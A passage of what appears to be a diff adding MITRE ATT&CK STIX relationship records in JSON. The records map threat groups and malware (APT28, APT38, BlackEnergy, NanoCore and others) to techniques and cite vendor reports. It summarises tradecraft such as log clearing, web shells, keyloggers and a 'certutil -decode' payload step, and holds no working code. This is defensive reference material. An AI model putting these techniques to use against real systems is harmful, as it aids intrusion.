Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) used legitimate programs such as AmmyAdmin and Team Viewer for remote interactive C2 to target systems.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af1514c0-0e58-4878-a409-9804a7ce5e0b", + "external_references": [ + { + "source_name": "Group-IB Anunak", + "description": "Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.", + "url": "http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf" + } + ], + "modified": "2019-03-22T19:59:27.075Z", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T16:17:30.678Z", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fd518b7a-b35d-4689-89f6-525efbeee18f", + "external_references": [ + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:53:38.860Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "relationship_type": "uses", + "target_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the OS and computer name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f19234f6-5b59-4229-aae1-70df380a076a", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) has used DLL side-loading.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71ede2de-7e5f-49fa-ac07-9322ef4857ae", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) searches for specific directories on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T17:59:44.533Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8906575-d90c-4d56-9fb7-bba3560bbeba", + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "modified": "2019-04-16T20:55:20.216Z", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used tcping.exe, similar to [Ping](https://attack.mitre.org/software/S0097), to probe port status on systems of interest.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:32.300Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) exploits CVE-2017-11882 in Microsoft\u2019s Equation Editor to execute a process.", + "type": "relationship", + "created": "2019-01-29T18:44:04.945Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3f60930f-e055-4a83-b8a5-fa84c139ee5b", + "external_references": [ + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + } + ], + "modified": "2019-04-16T14:30:35.428Z", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses RC4 and base64 to obfuscate data, including Registry entries and file paths.", + "type": "relationship", + "created": "2019-01-29T18:55:20.856Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71a121ba-b01c-418c-af8d-63df2cec70de", + "external_references": [ + { + "source_name": "Talos Remcos Aug 2018", + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "modified": "2019-04-19T14:39:53.099Z", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can load any files onto the infected machine to execute.", + "type": "relationship", + "created": "2019-01-29T19:18:28.775Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--75f88090-55cb-4b3b-84af-cf51058c3ccc", + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "modified": "2019-06-04T19:40:43.672Z", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.", + "type": "relationship", + "created": "2019-01-29T19:55:48.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66b026b6-af1e-47a6-9c3d-b853e2130b68", + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "modified": "2019-07-26T16:10:43.108Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) can open a remote command-line interface and execute commands.", + "type": "relationship", + "created": "2019-01-29T20:05:36.512Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13219288-d8b3-4464-a173-923ed8dfae0a", + "external_references": [ + { + "source_name": "PaloAlto NanoCore Feb 2016", + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "modified": "2019-04-17T20:47:23.989Z", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) clears Window Event logs and Sysmon logs from the system.", + "type": "relationship", + "created": "2019-01-29T21:27:25.239Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--69b349cf-c086-497b-8339-514d4a448bfe", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.936Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) is a Web shell that appears to be exclusively used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). It is installed as an ISAPI filter on Exchange servers and shares characteristics with the [China Chopper](https://attack.mitre.org/software/S0020) Web shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0dee5507-6e61-4244-86a8-c7e8a34469da", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) has the capability to execute the command net start to interact with services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bae7f2fb-99d8-4acf-b61e-f37a215aa82e", + "external_references": [ + { + "source_name": "Emissary Trojan Feb 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants add new services with display names generated by a list of hard-coded strings such as Application, Background, Security, and Windows, presumably as a way to masquerade as a legitimate service.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e5a99bb2-c6d6-4a9c-bf31-4edd1d602c4e", + "external_references": [ + { + "source_name": "US-CERT Volgmer 2 Nov 2017", + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "source_name": "Symantec Volgmer Aug 2014", + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. 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Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.258Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used Base64 to obfuscate commands and the payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59cccc5a-f6f9-4a2f-aa74-2b7235b1855c", + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "modified": "2019-04-25T11:39:52.245Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to discover and manipulate Windows services.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7601a08-a52d-4daa-acb9-2f5e3392b6c3", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). 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New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "modified": "2019-04-24T23:55:43.436Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:21:57.822Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bc1c5d97-5e95-4ba3-bf61-ffe3de56d508", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:55:26.213Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b349ef5f-4a05-4eef-afe4-1543b8c832fa", + "external_references": [ + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "relationship_type": "uses", + "target_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has run a keylogger plug-in on a victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbd9b8d7-431c-44fa-95ac-61f73271ae92", + "external_references": [ + { + "source_name": "Securelist BlackEnergy Nov 2014", + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "modified": "2019-06-24T17:08:51.799Z", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) stores information gathered from the endpoint in a file named 1.hwp.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74edb7f4-4c3b-4573-abb0-c4842032b6c3", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses Tor for command and control.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RIPTIDE](https://attack.mitre.org/software/S0003) is a RAT that communicates with HTTP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb6a804a-1929-4c13-a78d-1cf724c09e77", + "external_references": [ + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ad4f146f-e3ec-444a-ba71-24bffd7f0f8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17", + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + } + ], + "modified": "2019-07-27T00:09:36.804Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) will look for the current IP address.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e59381b-fcf5-43e1-b8d5-499db015b208", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). 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Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:09.358Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) attempts to hide its payloads using legitimate filenames.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfa9ae5f-0e45-4a43-9d37-00c9574a1528", + "external_references": [ + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) supports 